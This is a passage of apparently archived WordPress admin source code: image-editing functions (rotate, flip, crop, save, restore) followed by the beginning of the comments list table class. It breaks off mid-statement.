imagerotate() - Ticket #11536 if ( wp_image_editor_supports( array( 'mime_type' => get_post_mime_type( $post_id ), 'methods' => array( 'rotate' ) ) ) ) { ?> <div class="imgedit-rleft" onclick="imageEdit.rotate( 90, <?php echo "$post_id, '$nonce'"; ?>, this)" title="<?php esc_attr_e( 'Rotate counter-clockwise' ); ?>"></div> <div class="imgedit-rright" onclick="imageEdit.rotate(-90, <?php echo "$post_id, '$nonce'"; ?>, this)" title="<?php esc_attr_e( 'Rotate clockwise' ); ?>"></div> <?php } else { $note_no_rotate = esc_attr__('Image rotation is not supported by your web host.'); ?> <div class="imgedit-rleft disabled" title="<?php echo $note_no_rotate; ?>"></div> <div class="imgedit-rright disabled" title="<?php echo $note_no_rotate; ?>"></div> <?php } ?> <div onclick="imageEdit.flip(1, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-flipv" title="<?php esc_attr_e( 'Flip vertically' ); ?>"></div> <div onclick="imageEdit.flip(2, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-fliph" title="<?php esc_attr_e( 'Flip horizontally' ); ?>"></div> <div id="image-undo-<?php echo $post_id; ?>" onclick="imageEdit.undo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-undo disabled" title="<?php esc_attr_e( 'Undo' ); ?>"></div> <div id="image-redo-<?php echo $post_id; ?>" onclick="imageEdit.redo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-redo disabled" title="<?php esc_attr_e( 'Redo' ); ?>"></div> <br class="clear" /> </div> <input type="hidden" id="imgedit-sizer-<?php echo $post_id; ?>" value="<?php echo $sizer; ?>" /> <input type="hidden" id="imgedit-minthumb-<?php echo $post_id; ?>" value="<?php echo ( get_option('thumbnail_size_w') . ':' . get_option('thumbnail_size_h') ); ?>" /> <input type="hidden" id="imgedit-history-<?php echo $post_id; ?>" value="" /> <input type="hidden" id="imgedit-undone-<?php echo $post_id; ?>" value="0" /> <input type="hidden" id="imgedit-selection-<?php echo $post_id; ?>" value="" /> <input type="hidden" id="imgedit-x-<?php echo $post_id; ?>" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" /> <input type="hidden" id="imgedit-y-<?php echo $post_id; ?>" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" /> <div id="imgedit-crop-<?php echo $post_id; ?>" class="imgedit-crop-wrap"> <img id="image-preview-<?php echo $post_id; ?>" onload="imageEdit.imgLoaded('<?php echo $post_id; ?>')" src="<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>?action=imgedit-preview&_ajax_nonce=<?php echo $nonce; ?>&postid=<?php echo $post_id; ?>&rand=<?php echo rand(1, 99999); ?>" /> </div> <div class="imgedit-submit"> <input type="button" onclick="imageEdit.close(<?php echo $post_id; ?>, 1)" class="button" value="<?php esc_attr_e( 'Cancel' ); ?>" /> <input type="button" onclick="imageEdit.save(<?php echo "$post_id, '$nonce'"; ?>)" disabled="disabled" class="button button-primary imgedit-submit-btn" value="<?php esc_attr_e( 'Save' ); ?>" /> </div> </div> </div> <div class="imgedit-wait" id="imgedit-wait-<?php echo $post_id; ?>"></div> <script type="text/javascript">jQuery( function() { imageEdit.init(<?php echo $post_id; ?>); });</script> <div class="hidden" id="imgedit-leaving-<?php echo $post_id; ?>"><?php _e("There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor."); ?></div> </div> <?php } /** * Streams image in WP_Image_Editor to browser. * Provided for backcompat reasons * * @param WP_Image_Editor $image * @param string $mime_type * @param int $post_id * @return boolean */ function wp_stream_image( $image, $mime_type, $post_id ) { if ( $image instanceof WP_Image_Editor ) { /** * Filter the WP_Image_Editor instance for the image to be streamed to the browser. * * @since 3.5.0 * * @param WP_Image_Editor $image WP_Image_Editor instance. * @param int $post_id Post ID. */ $image = apply_filters( 'image_editor_save_pre', $image, $post_id ); if ( is_wp_error( $image->stream( $mime_type ) ) ) return false; return true; } else { _deprecated_argument( __FUNCTION__, '3.5', __( '$image needs to be an WP_Image_Editor object' ) ); /** * Filter the GD image resource to be streamed to the browser. * * @since 2.9.0 * @deprecated 3.5.0 Use image_editor_save_pre instead. * * @param resource $image Image resource to be streamed. * @param int $post_id Post ID. */ $image = apply_filters( 'image_save_pre', $image, $post_id ); switch ( $mime_type ) { case 'image/jpeg': header( 'Content-Type: image/jpeg' ); return imagejpeg( $image, null, 90 ); case 'image/png': header( 'Content-Type: image/png' ); return imagepng( $image ); case 'image/gif': header( 'Content-Type: image/gif' ); return imagegif( $image ); default: return false; } } } /** * Saves Image to File * * @param string $filename * @param WP_Image_Editor $image * @param string $mime_type * @param int $post_id * @return boolean */ function wp_save_image_file( $filename, $image, $mime_type, $post_id ) { if ( $image instanceof WP_Image_Editor ) { /** This filter is documented in wp-admin/includes/image-edit.php */ $image = apply_filters( 'image_editor_save_pre', $image, $post_id ); /** * Filter whether to skip saving the image file. * * Returning a non-null value will short-circuit the save method, * returning that value instead. * * @since 3.5.0 * * @param mixed $override Value to return instead of saving. Default null. * @param string $filename Name of the file to be saved. * @param WP_Image_Editor $image WP_Image_Editor instance. * @param string $mime_type Image mime type. * @param int $post_id Post ID. */ $saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id ); if ( null !== $saved ) return $saved; return $image->save( $filename, $mime_type ); } else { _deprecated_argument( __FUNCTION__, '3.5', __( '$image needs to be an WP_Image_Editor object' ) ); /** This filter is documented in wp-admin/includes/image-edit.php */ $image = apply_filters( 'image_save_pre', $image, $post_id ); /** * Filter whether to skip saving the image file. * * Returning a non-null value will short-circuit the save method, * returning that value instead. * * @since 2.9.0 * @deprecated 3.5.0 Use wp_save_image_editor_file instead. * * @param mixed $override Value to return instead of saving. Default null. * @param string $filename Name of the file to be saved. * @param WP_Image_Editor $image WP_Image_Editor instance. * @param string $mime_type Image mime type. * @param int $post_id Post ID. */ $saved = apply_filters( 'wp_save_image_file', null, $filename, $image, $mime_type, $post_id ); if ( null !== $saved ) return $saved; switch ( $mime_type ) { case 'image/jpeg': /** This filter is documented in wp-includes/class-wp-image-editor.php */ return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) ); case 'image/png': return imagepng( $image, $filename ); case 'image/gif': return imagegif( $image, $filename ); default: return false; } } } function _image_get_preview_ratio($w, $h) { $max = max($w, $h); return $max > 400 ? (400 / $max) : 1; } // @TODO: Returns GD resource, but is NOT public function _rotate_image_resource($img, $angle) { _deprecated_function( __FUNCTION__, '3.5', __( 'Use WP_Image_Editor::rotate' ) ); if ( function_exists('imagerotate') ) { $rotated = imagerotate($img, $angle, 0); if ( is_resource($rotated) ) { imagedestroy($img); $img = $rotated; } } return $img; } /** * @TODO: Only used within image_edit_apply_changes * and receives/returns GD Resource. * Consider removal. * * @param GD_Resource $img * @param boolean $horz * @param boolean $vert * @return GD_Resource */ function _flip_image_resource($img, $horz, $vert) { _deprecated_function( __FUNCTION__, '3.5', __( 'Use WP_Image_Editor::flip' ) ); $w = imagesx($img); $h = imagesy($img); $dst = wp_imagecreatetruecolor($w, $h); if ( is_resource($dst) ) { $sx = $vert ? ($w - 1) : 0; $sy = $horz ? ($h - 1) : 0; $sw = $vert ? -$w : $w; $sh = $horz ? -$h : $h; if ( imagecopyresampled($dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh) ) { imagedestroy($img); $img = $dst; } } return $img; } /** * @TODO: Only used within image_edit_apply_changes * and receives/returns GD Resource. * Consider removal. * * @param GD_Resource $img * @param float $x * @param float $y * @param float $w * @param float $h * @return GD_Resource */ function _crop_image_resource($img, $x, $y, $w, $h) { $dst = wp_imagecreatetruecolor($w, $h); if ( is_resource($dst) ) { if ( imagecopy($dst, $img, 0, 0, $x, $y, $w, $h) ) { imagedestroy($img); $img = $dst; } } return $img; } /** * Performs group of changes on Editor specified. * * @param WP_Image_Editor $image * @param type $changes * @return WP_Image_Editor */ function image_edit_apply_changes( $image, $changes ) { if ( is_resource( $image ) ) _deprecated_argument( __FUNCTION__, '3.5', __( '$image needs to be an WP_Image_Editor object' ) ); if ( !is_array($changes) ) return $image; // expand change operations foreach ( $changes as $key => $obj ) { if ( isset($obj->r) ) { $obj->type = 'rotate'; $obj->angle = $obj->r; unset($obj->r); } elseif ( isset($obj->f) ) { $obj->type = 'flip'; $obj->axis = $obj->f; unset($obj->f); } elseif ( isset($obj->c) ) { $obj->type = 'crop'; $obj->sel = $obj->c; unset($obj->c); } $changes[$key] = $obj; } // combine operations if ( count($changes) > 1 ) { $filtered = array($changes[0]); for ( $i = 0, $j = 1; $j < count($changes); $j++ ) { $combined = false; if ( $filtered[$i]->type == $changes[$j]->type ) { switch ( $filtered[$i]->type ) { case 'rotate': $filtered[$i]->angle += $changes[$j]->angle; $combined = true; break; case 'flip': $filtered[$i]->axis ^= $changes[$j]->axis; $combined = true; break; } } if ( !$combined ) $filtered[++$i] = $changes[$j]; } $changes = $filtered; unset($filtered); } // image resource before applying the changes if ( $image instanceof WP_Image_Editor ) { /** * Filter the WP_Image_Editor instance before applying changes to the image. * * @since 3.5.0 * * @param WP_Image_Editor $image WP_Image_Editor instance. * @param array $changes Array of change operations. */ $image = apply_filters( 'wp_image_editor_before_change', $image, $changes ); } elseif ( is_resource( $image ) ) { /** * Filter the GD image resource before applying changes to the image. * * @since 2.9.0 * @deprecated 3.5.0 Use wp_image_editor_before_change instead. * * @param resource $image GD image resource. * @param array $changes Array of change operations. */ $image = apply_filters( 'image_edit_before_change', $image, $changes ); } foreach ( $changes as $operation ) { switch ( $operation->type ) { case 'rotate': if ( $operation->angle != 0 ) { if ( $image instanceof WP_Image_Editor ) $image->rotate( $operation->angle ); else $image = _rotate_image_resource( $image, $operation->angle ); } break; case 'flip': if ( $operation->axis != 0 ) if ( $image instanceof WP_Image_Editor ) $image->flip( ($operation->axis & 1) != 0, ($operation->axis & 2) != 0 ); else $image = _flip_image_resource( $image, ( $operation->axis & 1 ) != 0, ( $operation->axis & 2 ) != 0 ); break; case 'crop': $sel = $operation->sel; if ( $image instanceof WP_Image_Editor ) { $size = $image->get_size(); $w = $size['width']; $h = $size['height']; $scale = 1 / _image_get_preview_ratio( $w, $h ); // discard preview scaling $image->crop( $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale ); } else { $scale = 1 / _image_get_preview_ratio( imagesx( $image ), imagesy( $image ) ); // discard preview scaling $image = _crop_image_resource( $image, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale ); } break; } } return $image; } /** * Streams image in post to browser, along with enqueued changes * in $_REQUEST['history'] * * @param int $post_id * @return boolean */ function stream_preview_image( $post_id ) { $post = get_post( $post_id ); /** This filter is documented in wp-admin/admin.php */ @ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORY_LIMIT ) ); $img = wp_get_image_editor( _load_image_to_edit_path( $post_id ) ); if ( is_wp_error( $img ) ) return false; $changes = !empty($_REQUEST['history']) ? json_decode( wp_unslash($_REQUEST['history']) ) : null; if ( $changes ) $img = image_edit_apply_changes( $img, $changes ); // scale the image $size = $img->get_size(); $w = $size['width']; $h = $size['height']; $ratio = _image_get_preview_ratio( $w, $h ); $w2 = max ( 1, $w * $ratio ); $h2 = max ( 1, $h * $ratio ); if ( is_wp_error( $img->resize( $w2, $h2 ) ) ) return false; return wp_stream_image( $img, $post->post_mime_type, $post_id ); } function wp_restore_image($post_id) { $meta = wp_get_attachment_metadata($post_id); $file = get_attached_file($post_id); $backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true ); $restored = false; $msg = new stdClass; if ( !is_array($backup_sizes) ) { $msg->error = __('Cannot load image metadata.'); return $msg; } $parts = pathinfo($file); $suffix = time() . rand(100, 999); $default_sizes = get_intermediate_image_sizes(); if ( isset($backup_sizes['full-orig']) && is_array($backup_sizes['full-orig']) ) { $data = $backup_sizes['full-orig']; if ( $parts['basename'] != $data['file'] ) { if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) { // delete only if it's edited image if ( preg_match('/-e[0-9]{13}\./', $parts['basename']) ) { /** This filter is documented in wp-admin/custom-header.php */ $delpath = apply_filters( 'wp_delete_file', $file ); @unlink($delpath); } } elseif ( isset( $meta['width'], $meta['height'] ) ) { $backup_sizes["full-$suffix"] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $parts['basename']); } } $restored_file = path_join($parts['dirname'], $data['file']); $restored = update_attached_file($post_id, $restored_file); $meta['file'] = _wp_relative_upload_path( $restored_file ); $meta['width'] = $data['width']; $meta['height'] = $data['height']; } foreach ( $default_sizes as $default_size ) { if ( isset($backup_sizes["$default_size-orig"]) ) { $data = $backup_sizes["$default_size-orig"]; if ( isset($meta['sizes'][$default_size]) && $meta['sizes'][$default_size]['file'] != $data['file'] ) { if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) { // delete only if it's edited image if ( preg_match('/-e[0-9]{13}-/', $meta['sizes'][$default_size]['file']) ) { /** This filter is documented in wp-admin/custom-header.php */ $delpath = apply_filters( 'wp_delete_file', path_join($parts['dirname'], $meta['sizes'][$default_size]['file']) ); @unlink($delpath); } } else { $backup_sizes["$default_size-{$suffix}"] = $meta['sizes'][$default_size]; } } $meta['sizes'][$default_size] = $data; } else { unset($meta['sizes'][$default_size]); } } if ( !wp_update_attachment_metadata($post_id, $meta) || !update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes) ) { $msg->error = __('Cannot save image metadata.'); return $msg; } if ( !$restored ) $msg->error = __('Image metadata is inconsistent.'); else $msg->msg = __('Image restored successfully.'); return $msg; } /** * Saves image to post along with enqueued changes * in $_REQUEST['history'] * * @param int $post_id * @return \stdClass */ function wp_save_image( $post_id ) { global $_wp_additional_image_sizes; $return = new stdClass; $success = $delete = $scaled = $nocrop = false; $post = get_post( $post_id ); $img = wp_get_image_editor( _load_image_to_edit_path( $post_id, 'full' ) ); if ( is_wp_error( $img ) ) { $return->error = esc_js( __('Unable to create new image.') ); return $return; } $fwidth = !empty($_REQUEST['fwidth']) ? intval($_REQUEST['fwidth']) : 0; $fheight = !empty($_REQUEST['fheight']) ? intval($_REQUEST['fheight']) : 0; $target = !empty($_REQUEST['target']) ? preg_replace('/[^a-z0-9_-]+/i', '', $_REQUEST['target']) : ''; $scale = !empty($_REQUEST['do']) && 'scale' == $_REQUEST['do']; if ( $scale && $fwidth > 0 && $fheight > 0 ) { $size = $img->get_size(); $sX = $size['width']; $sY = $size['height']; // check if it has roughly the same w / h ratio $diff = round($sX / $sY, 2) - round($fwidth / $fheight, 2); if ( -0.1 < $diff && $diff < 0.1 ) { // scale the full size image if ( $img->resize( $fwidth, $fheight ) ) $scaled = true; } if ( !$scaled ) { $return->error = esc_js( __('Error while saving the scaled image. Please reload the page and try again.') ); return $return; } } elseif ( !empty($_REQUEST['history']) ) { $changes = json_decode( wp_unslash($_REQUEST['history']) ); if ( $changes ) $img = image_edit_apply_changes($img, $changes); } else { $return->error = esc_js( __('Nothing to save, the image has not changed.') ); return $return; } $meta = wp_get_attachment_metadata($post_id); $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true ); if ( !is_array($meta) ) { $return->error = esc_js( __('Image data does not exist. Please re-upload the image.') ); return $return; } if ( !is_array($backup_sizes) ) $backup_sizes = array(); // generate new filename $path = get_attached_file($post_id); $path_parts = pathinfo( $path ); $filename = $path_parts['filename']; $suffix = time() . rand(100, 999); if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE && isset($backup_sizes['full-orig']) && $backup_sizes['full-orig']['file'] != $path_parts['basename'] ) { if ( 'thumbnail' == $target ) $new_path = "{$path_parts['dirname']}/{$filename}-temp.{$path_parts['extension']}"; else $new_path = $path; } else { while( true ) { $filename = preg_replace( '/-e([0-9]+)$/', '', $filename ); $filename .= "-e{$suffix}"; $new_filename = "{$filename}.{$path_parts['extension']}"; $new_path = "{$path_parts['dirname']}/$new_filename"; if ( file_exists($new_path) ) $suffix++; else break; } } // save the full-size file, also needed to create sub-sizes if ( !wp_save_image_file($new_path, $img, $post->post_mime_type, $post_id) ) { $return->error = esc_js( __('Unable to save the image.') ); return $return; } if ( 'nothumb' == $target || 'all' == $target || 'full' == $target || $scaled ) { $tag = false; if ( isset($backup_sizes['full-orig']) ) { if ( ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) && $backup_sizes['full-orig']['file'] != $path_parts['basename'] ) $tag = "full-$suffix"; } else { $tag = 'full-orig'; } if ( $tag ) $backup_sizes[$tag] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $path_parts['basename']); $success = update_attached_file( $post_id, $new_path ); $meta['file'] = _wp_relative_upload_path( $new_path ); $size = $img->get_size(); $meta['width'] = $size['width']; $meta['height'] = $size['height']; if ( $success && ('nothumb' == $target || 'all' == $target) ) { $sizes = get_intermediate_image_sizes(); if ( 'nothumb' == $target ) $sizes = array_diff( $sizes, array('thumbnail') ); } $return->fw = $meta['width']; $return->fh = $meta['height']; } elseif ( 'thumbnail' == $target ) { $sizes = array( 'thumbnail' ); $success = $delete = $nocrop = true; } if ( isset( $sizes ) ) { $_sizes = array(); foreach ( $sizes as $size ) { $tag = false; if ( isset( $meta['sizes'][$size] ) ) { if ( isset($backup_sizes["$size-orig"]) ) { if ( ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) && $backup_sizes["$size-orig"]['file'] != $meta['sizes'][$size]['file'] ) $tag = "$size-$suffix"; } else { $tag = "$size-orig"; } if ( $tag ) $backup_sizes[$tag] = $meta['sizes'][$size]; } if ( isset( $_wp_additional_image_sizes[ $size ] ) ) { $width = intval( $_wp_additional_image_sizes[ $size ]['width'] ); $height = intval( $_wp_additional_image_sizes[ $size ]['height'] ); $crop = ( $nocrop ) ? false : $_wp_additional_image_sizes[ $size ]['crop']; } else { $height = get_option( "{$size}_size_h" ); $width = get_option( "{$size}_size_w" ); $crop = ( $nocrop ) ? false : get_option( "{$size}_crop" ); } $_sizes[ $size ] = array( 'width' => $width, 'height' => $height, 'crop' => $crop ); } $meta['sizes'] = array_merge( $meta['sizes'], $img->multi_resize( $_sizes ) ); } unset( $img ); if ( $success ) { wp_update_attachment_metadata( $post_id, $meta ); update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes); if ( $target == 'thumbnail' || $target == 'all' || $target == 'full' ) { // Check if it's an image edit from attachment edit screen if ( ! empty( $_REQUEST['context'] ) && 'edit-attachment' == $_REQUEST['context'] ) { $thumb_url = wp_get_attachment_image_src( $post_id, array( 900, 600 ), true ); $return->thumbnail = $thumb_url[0]; } else { $file_url = wp_get_attachment_url($post_id); if ( $thumb = $meta['sizes']['thumbnail'] ) $return->thumbnail = path_join( dirname($file_url), $thumb['file'] ); else $return->thumbnail = "$file_url?w=128&h=128"; } } } else { $delete = true; } if ( $delete ) { /** This filter is documented in wp-admin/custom-header.php */ $delpath = apply_filters( 'wp_delete_file', $new_path ); @unlink( $delpath ); } $return->msg = esc_js( __('Image saved') ); return $return; } class-wp-comments-list-table.php000077700000053262151514577750012727 0ustar00<?php /** * Comments and Post Comments List Table classes. * * @package WordPress * @subpackage List_Table * @since 3.1.0 */ /** * Comments List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Comments_List_Table extends WP_List_Table { var $checkbox = true; var $pending_count = array(); function __construct( $args = array() ) { global $post_id; $post_id = isset( $_REQUEST['p'] ) ? absint( $_REQUEST['p'] ) : 0; if ( get_option('show_avatars') ) add_filter( 'comment_author', 'floated_admin_avatar' ); parent::__construct( array( 'plural' => 'comments', 'singular' => 'comment', 'ajax' => true, 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); } function ajax_user_can() { return current_user_can('edit_posts'); } function prepare_items() { global $post_id, $comment_status, $search, $comment_type; $comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all'; if ( !in_array( $comment_status, array( 'all', 'moderated', 'approved', 'spam', 'trash' ) ) ) $comment_status = 'all'; $comment_type = !empty( $_REQUEST['comment_type'] ) ? $_REQUEST['comment_type'] : ''; $search = ( isset( $_REQUEST['s'] ) ) ? $_REQUEST['s'] : ''; $post_type = ( isset( $_REQUEST['post_type'] ) ) ? sanitize_key( $_REQUEST['post_type'] ) : ''; $user_id = ( isset( $_REQUEST['user_id'] ) ) ? $_REQUEST['user_id'] : ''; $orderby = ( isset( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : ''; $order = ( isset( $_REQUEST['order'] ) ) ? $_REQUEST['order'] : ''; $comments_per_page = $this->get_per_page( $comment_status ); $doing_ajax = defined( 'DOING_AJAX' ) && DOING_AJAX; if ( isset( $_REQUEST['number'] ) ) { $number = (int) $_REQUEST['number']; } else { $number = $comments_per_page + min( 8, $comments_per_page ); // Grab a few extra } $page = $this->get_pagenum(); if ( isset( $_REQUEST['start'] ) ) { $start = $_REQUEST['start']; } else { $start = ( $page - 1 ) * $comments_per_page; } if ( $doing_ajax && isset( $_REQUEST['offset'] ) ) { $start += $_REQUEST['offset']; } $status_map = array( 'moderated' => 'hold', 'approved' => 'approve', 'all' => '', ); $args = array( 'status' => isset( $status_map[$comment_status] ) ? $status_map[$comment_status] : $comment_status, 'search' => $search, 'user_id' => $user_id, 'offset' => $start, 'number' => $number, 'post_id' => $post_id, 'type' => $comment_type, 'orderby' => $orderby, 'order' => $order, 'post_type' => $post_type, ); $_comments = get_comments( $args ); update_comment_cache( $_comments ); $this->items = array_slice( $_comments, 0, $comments_per_page ); $this->extra_items = array_slice( $_comments, $comments_per_page ); $total_comments = get_comments( array_merge( $args, array('count' => true, 'offset' => 0, 'number' => 0) ) ); $_comment_post_ids = array(); foreach ( $_comments as $_c ) { $_comment_post_ids[] = $_c->comment_post_ID; } $_comment_post_ids = array_unique( $_comment_post_ids ); $this->pending_count = get_pending_comments_num( $_comment_post_ids ); $this->set_pagination_args( array( 'total_items' => $total_comments, 'per_page' => $comments_per_page, ) ); } function get_per_page( $comment_status = 'all' ) { $comments_per_page = $this->get_items_per_page( 'edit_comments_per_page' ); /** * Filter the number of comments listed per page in the comments list table. * * @since 2.6.0 * * @param int $comments_per_page The number of comments to list per page. * @param string $comment_status The comment status name. Default 'All'. */ $comments_per_page = apply_filters( 'comments_per_page', $comments_per_page, $comment_status ); return $comments_per_page; } function no_items() { global $comment_status; if ( 'moderated' == $comment_status ) _e( 'No comments awaiting moderation.' ); else _e( 'No comments found.' ); } function get_views() { global $post_id, $comment_status, $comment_type; $status_links = array(); $num_comments = ( $post_id ) ? wp_count_comments( $post_id ) : wp_count_comments(); //, number_format_i18n($num_comments->moderated) ), "<span class='comment-count'>" . number_format_i18n($num_comments->moderated) . "</span>"), //, number_format_i18n($num_comments->spam) ), "<span class='spam-comment-count'>" . number_format_i18n($num_comments->spam) . "</span>") $stati = array( 'all' => _nx_noop('All', 'All', 'comments'), // singular not used 'moderated' => _n_noop('Pending <span class="count">(<span class="pending-count">%s</span>)</span>', 'Pending <span class="count">(<span class="pending-count">%s</span>)</span>'), 'approved' => _n_noop('Approved', 'Approved'), // singular not used 'spam' => _n_noop('Spam <span class="count">(<span class="spam-count">%s</span>)</span>', 'Spam <span class="count">(<span class="spam-count">%s</span>)</span>'), 'trash' => _n_noop('Trash <span class="count">(<span class="trash-count">%s</span>)</span>', 'Trash <span class="count">(<span class="trash-count">%s</span>)</span>') ); if ( !EMPTY_TRASH_DAYS ) unset($stati['trash']); $link = 'edit-comments.php'; if ( !empty($comment_type) && 'all' != $comment_type ) $link = add_query_arg( 'comment_type', $comment_type, $link ); foreach ( $stati as $status => $label ) { $class = ( $status == $comment_status ) ? ' class="current"' : ''; if ( !isset( $num_comments->$status ) ) $num_comments->$status = 10; $link = add_query_arg( 'comment_status', $status, $link ); if ( $post_id ) $link = add_query_arg( 'p', absint( $post_id ), $link ); /* // I toyed with this, but decided against it. Leaving it in here in case anyone thinks it is a good idea. ~ Mark if ( !empty( $_REQUEST['s'] ) ) $link = add_query_arg( 's', esc_attr( wp_unslash( $_REQUEST['s'] ) ), $link ); */ $status_links[$status] = "<a href='$link'$class>" . sprintf( translate_nooped_plural( $label, $num_comments->$status ), number_format_i18n( $num_comments->$status ) ) . '</a>'; } /** * Filter the comment status links. * * @since 2.5.0 * * @param array $status_links An array of fully-formed status links. Default 'All'. * Accepts 'All', 'Pending', 'Approved', 'Spam', and 'Trash'. */ $status_links = apply_filters( 'comment_status_links', $status_links ); return $status_links; } function get_bulk_actions() { global $comment_status; $actions = array(); if ( in_array( $comment_status, array( 'all', 'approved' ) ) ) $actions['unapprove'] = __( 'Unapprove' ); if ( in_array( $comment_status, array( 'all', 'moderated' ) ) ) $actions['approve'] = __( 'Approve' ); if ( in_array( $comment_status, array( 'all', 'moderated', 'approved' ) ) ) $actions['spam'] = _x( 'Mark as Spam', 'comment' ); if ( 'trash' == $comment_status ) $actions['untrash'] = __( 'Restore' ); elseif ( 'spam' == $comment_status ) $actions['unspam'] = _x( 'Not Spam', 'comment' ); if ( in_array( $comment_status, array( 'trash', 'spam' ) ) || !EMPTY_TRASH_DAYS ) $actions['delete'] = __( 'Delete Permanently' ); else $actions['trash'] = __( 'Move to Trash' ); return $actions; } function extra_tablenav( $which ) { global $comment_status, $comment_type; ?> <div class="alignleft actions"> <?php if ( 'top' == $which ) { ?> <select name="comment_type"> <option value=""><?php _e( 'All comment types' ); ?></option> <?php /** * Filter the comment types dropdown menu. * * @since 2.7.0 * * @param array $comment_types An array of comment types. Accepts 'Comments', 'Pings'. */ $comment_types = apply_filters( 'admin_comment_types_dropdown', array( 'comment' => __( 'Comments' ), 'pings' => __( 'Pings' ), ) ); foreach ( $comment_types as $type => $label ) echo "\t<option value='" . esc_attr( $type ) . "'" . selected( $comment_type, $type, false ) . ">$label</option>\n"; ?> </select> <?php /** * Fires just before the Filter submit button for comment types. * * @since 3.5.0 */ do_action( 'restrict_manage_comments' ); submit_button( __( 'Filter' ), 'button', false, false, array( 'id' => 'post-query-submit' ) ); } if ( ( 'spam' == $comment_status || 'trash' == $comment_status ) && current_user_can( 'moderate_comments' ) ) { wp_nonce_field( 'bulk-destroy', '_destroy_nonce' ); $title = ( 'spam' == $comment_status ) ? esc_attr__( 'Empty Spam' ) : esc_attr__( 'Empty Trash' ); submit_button( $title, 'apply', 'delete_all', false ); } /** * Fires after the Filter submit button for comment types. * * @since 2.5.0 * * @param string $comment_status The comment status name. Default 'All'. */ do_action( 'manage_comments_nav', $comment_status ); echo '</div>'; } function current_action() { if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) return 'delete_all'; return parent::current_action(); } function get_columns() { global $post_id; $columns = array(); if ( $this->checkbox ) $columns['cb'] = '<input type="checkbox" />'; $columns['author'] = __( 'Author' ); $columns['comment'] = _x( 'Comment', 'column name' ); if ( !$post_id ) $columns['response'] = _x( 'In Response To', 'column name' ); return $columns; } function get_sortable_columns() { return array( 'author' => 'comment_author', 'response' => 'comment_post_ID' ); } function display() { extract( $this->_args ); wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' ); $this->display_tablenav( 'top' ); ?> <table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>"> <thead> <tr> <?php $this->print_column_headers(); ?> </tr> </thead> <tfoot> <tr> <?php $this->print_column_headers( false ); ?> </tr> </tfoot> <tbody id="the-comment-list" data-wp-lists="list:comment"> <?php $this->display_rows_or_placeholder(); ?> </tbody> <tbody id="the-extra-comment-list" data-wp-lists="list:comment" style="display: none;"> <?php $this->items = $this->extra_items; $this->display_rows(); ?> </tbody> </table> <?php $this->display_tablenav( 'bottom' ); } function single_row( $a_comment ) { global $post, $comment; $comment = $a_comment; $the_comment_class = wp_get_comment_status( $comment->comment_ID ); $the_comment_class = join( ' ', get_comment_class( $the_comment_class, $comment->comment_ID, $comment->comment_post_ID ) ); $post = get_post( $comment->comment_post_ID ); $this->user_can = current_user_can( 'edit_comment', $comment->comment_ID ); echo "<tr id='comment-$comment->comment_ID' class='$the_comment_class'>"; $this->single_row_columns( $comment ); echo "</tr>\n"; } function column_cb( $comment ) { if ( $this->user_can ) { ?> <label class="screen-reader-text" for="cb-select-<?php echo $comment->comment_ID; ?>"><?php _e( 'Select comment' ); ?></label> <input id="cb-select-<?php echo $comment->comment_ID; ?>" type="checkbox" name="delete_comments[]" value="<?php echo $comment->comment_ID; ?>" /> <?php } } function column_comment( $comment ) { global $comment_status; $post = get_post(); $user_can = $this->user_can; $comment_url = esc_url( get_comment_link( $comment->comment_ID ) ); $the_comment_status = wp_get_comment_status( $comment->comment_ID ); if ( $user_can ) { $del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) ); $approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) ); $url = "comment.php?c=$comment->comment_ID"; $approve_url = esc_url( $url . "&action=approvecomment&$approve_nonce" ); $unapprove_url = esc_url( $url . "&action=unapprovecomment&$approve_nonce" ); $spam_url = esc_url( $url . "&action=spamcomment&$del_nonce" ); $unspam_url = esc_url( $url . "&action=unspamcomment&$del_nonce" ); $trash_url = esc_url( $url . "&action=trashcomment&$del_nonce" ); $untrash_url = esc_url( $url . "&action=untrashcomment&$del_nonce" ); $delete_url = esc_url( $url . "&action=deletecomment&$del_nonce" ); } echo '<div class="comment-author">'; $this->column_author( $comment ); echo '</div>'; echo '<div class="submitted-on">'; /* translators: 2: comment date, 3: comment time */ printf( __( 'Submitted on <a href="%1$s">%2$s at 